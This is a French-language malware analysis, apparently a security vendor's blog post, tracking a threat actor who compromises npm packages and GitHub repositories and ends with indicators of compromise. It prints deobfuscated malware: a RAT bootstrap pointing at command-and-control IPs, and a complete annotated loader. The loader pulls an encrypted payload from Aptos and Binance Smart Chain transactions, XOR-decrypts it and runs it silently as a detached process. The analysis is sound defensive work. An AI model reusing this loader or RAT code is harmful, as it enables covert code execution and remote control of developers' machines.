Vous avez peut-être vu l'histoire récente d'un groupe d'acteurs de la menace compromettant 16 paquets populaires liés à React Native Aria et GlueStack, que nous avons découverts et documentés ici. Précédemment, nous avons détecté qu'ils avaient compromis le paquet rand-user-agent
le 5 mai 2025, comme indiqué ici.
Nous suivons cet acteur de la menace depuis lors et avons observé des attaques de moindre envergure que nous n'avons pas encore entièrement documentées publiquement. Cependant, nous avons voulu les compiler pour donner une image plus large de leur activité.
Paquets malveillants initiaux
Le 8 mai 2025, nos systèmes nous avaient déjà alertés sur deux nouveaux paquets sur npm qui semblaient être malveillants. Il s'agit de :


Ces images ont été téléchargées par le même utilisateur, aminengineerings
inscrit à l'adresse électronique aminengineerings@gmail[.]com
. Dès les premières versions, elles contenaient toutes deux la charge utile malveillante, ce qui indique que ce paquet appartient aux acteurs de la menace eux-mêmes.

Plus de paquets malveillants
Nous avons également vu deux paquets supplémentaires publiés par l'attaquant après l'attaque sur gluestack. Ces paquets ont été publiés le 8 juin 2025, sous les noms suivants tailwindcss-animate-expand
et mangouste-lit
. Ils ont été publiés par un utilisateur appelé mattfarser
. L'utilisateur a ensuite été rapidement supprimé.
Plus précisément, le tailwindcss-animate-expand
est intéressant, car il présente une structure de charge utile différente. La première partie ressemble à ceci :
global['r']=require;(function(){var Afr='',xzH=906-895;...
Nous ne voyons plus les global['_V']
étant définie. Lorsque nous l'exécutons dans un bac à sable, nous constatons que la charge utile finale est également légèrement différente. La charge utile ressemble à ceci après la désobfuscation :
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
Ce qui est particulièrement intéressant, c'est que nous constatons que la version est A4
qui a été référencé dans l'attaque du week-end comme un signal d'utilisation du nouveau serveur C2.
Nous constatons également que l'"ancien" serveur C2 n'est plus mentionné. A la place, ils ont ajouté l'IP 166.88.4[.]2
.
Signes d'alerte
Avant cette attaque, nous avions remarqué que quelques petits paquets avaient été compromis. Voici les paquets que nous avons remarqués :
Ces paquets appartiennent à trois personnes différentes et sont téléchargés moins de 100 fois par semaine. Il semble que ces acteurs de la menace soient toujours en mesure de compromettre les jetons des comptes npm.
Dépôts GitHub compromis
En poursuivant notre enquête sur ces attaques, nous avons décidé d'examiner d'autres écosystèmes à la recherche de preuves susceptibles de nous éclairer davantage sur le mode de fonctionnement de ces acteurs de la menace. Nous avons pu détecter 19 dépôts sur GitHub que les mêmes acteurs de la menace ont compromis :
Il y a un certain nombre d'engagements qui sortent du lot, par exemple :

L'auteur de la menace a légèrement modifié la charge utile qu'il utilise. Dans ce cas, il a encodé en base64 une charge utile qu'il transmet à eval(). Voici la charge utile décodée, annotée de commentaires décrivant sa fonctionnalité.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})();
Ce code est astucieux, car il s'autoalimente partiellement à partir du contenu de deux blockchains différentes. Voici un aperçu étape par étape :
La transaction sur la chaîne intelligente de Binance peut être consultée ci-dessous. Il convient de noter que le portefeuille et le contrat existent depuis le 7 février 2025 :
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Nous avons exécuté le code dans un bac à sable et obtenu la charge utile finale, et il s'agissait de la même charge utile que celle que nous avons déjà documentée auparavant, sans aucun changement significatif.
Conclusions
Nous constatons que l'acteur de la menace compromet activement et régulièrement non seulement les paquets npm, mais aussi les dépôts GitHub. En outre, il a expérimenté le déploiement de ses propres paquets avec son RAT. Il a également commencé à utiliser les blockchains pour diffuser son code malveillant.
Indicateurs de compromis
Emballages
solanautil
web3-socketio
tailwindcss-animate-expand
mangouste légère
@lfwfinance/sdk
@lfwfinance/sdk-dev
algorand-htlc
avm-satoshi-dice
biatec-avm-gas-station
arc200-client
nœud cputil
IPs
166.88.4[.]2
136.0.9[.]8
Compte Aptos
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
Adresse BSC
0x9BC1355344B54DEDf3E44296916eD15653844509
Contrat BSC
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c